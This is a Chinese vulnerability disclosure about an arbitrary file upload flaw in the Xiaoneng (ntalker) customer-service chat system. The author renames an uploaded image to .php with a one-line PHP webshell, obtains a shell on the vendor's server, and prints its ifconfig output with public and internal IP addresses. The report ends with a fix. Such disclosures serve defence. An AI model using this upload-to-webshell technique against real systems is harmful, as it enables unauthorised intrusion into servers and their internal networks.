客服MM一定要警惕那些不说话给你发图片或文件的银。

小能创立于2007年底，由来自微软、盛大等知名IT公司的高管创办，并先后为超过15000多家中国的互联网和电商公司提供产品和服务。2013年底，公司获得国际知名风险投资公司的投资。

1.任意文件上传漏洞，可GETSHELL

在某网站上瞎逛看到有个客服在线，客服系统一般都提供发图片或者截图的功能，试了下韩都衣舍，看图：

随便传了个图片过去，返回请求包如下：
 

HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Thu, 21 Aug 2014 05:24:36 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.10
Content-Length: 437

{"type":2,"msg":"???è????????","url":"http://t2d.ntalker.com/func/imagetrans/image.php?f=YWFhLnBuZw==&q=L2ltYWdlc2F2ZS90ZW1wL2tmXzk4MTcvZWI5ZmNhZmNlMmYxOTNlNzM2YzBmNjBmMjk1YjgzODAxNDA4NTk4Njc2LnBuZw==","oldfile":"aaa.png","size":"4.36 KB","extension":"png","sourceurl":"http://t2d.ntalker.com/func/imagetrans/download.php?f=YWFhLnBuZw==&q=L2ltYWdlc2F2ZS90ZW1wL2tmXzk4MTcvZWI5ZmNhZmNlMmYxOTNlNzM2YzBmNjBmMjk1YjgzODAxNDA4NTk4Njc2LnBuZw=="}

URL被base64编码了：
f=YWFhLnBuZw==  //这是上传的文件名
q=L2ltYWdlc2F2ZS90ZW1wL2tmXzk4MTcvZWI5ZmNhZmNlMmYxOTNlNzM2YzBmNjBmMjk1YjgzODAxNDA4NTk4Njc2LnBuZw==  //上传的路径

通过burpsuite将png图片后缀直接改成php，插入php一句话马后上传，获取到shell:

内网。。。

[/home/www/t2d.ntalker.com/func/imagetrans/imagesave/temp/kf_1x/]$ /sbin/ifconfig
em1       Link encap:Ethernet  HWaddr 00:26:B9:5C:A5:1A  
          inet addr:113.31.17.239  Bcast:113.31.17.255  Mask:255.255.255.224
          inet6 addr: fe80::226:b9ff:fe5c:a51a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:3766950309 errors:0 dropped:1 overruns:0 frame:0
          TX packets:3438306797 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:564554700096 (525.7 GiB)  TX bytes:1622506233974 (1.4 TiB)

em2       Link encap:Ethernet  HWaddr 00:26:B9:5C:A5:1B  
          inet addr:192.168.1.190  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::226:b9ff:fe5c:a51b/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:373313383 errors:0 dropped:0 overruns:0 frame:0
          TX packets:314958152 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:273620519884 (254.8 GiB)  TX bytes:159373614381 (148.4 GiB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:2799149950 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2799149950 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1016538441687 (946.7 GiB)  TX bytes:1016538441687 (946.7 GiB)

更多小伙伴看这：

http://www.xiaoneng.cn/partner.html

修复方案：

判断文件后缀名，设置图片目录不执行脚本权限。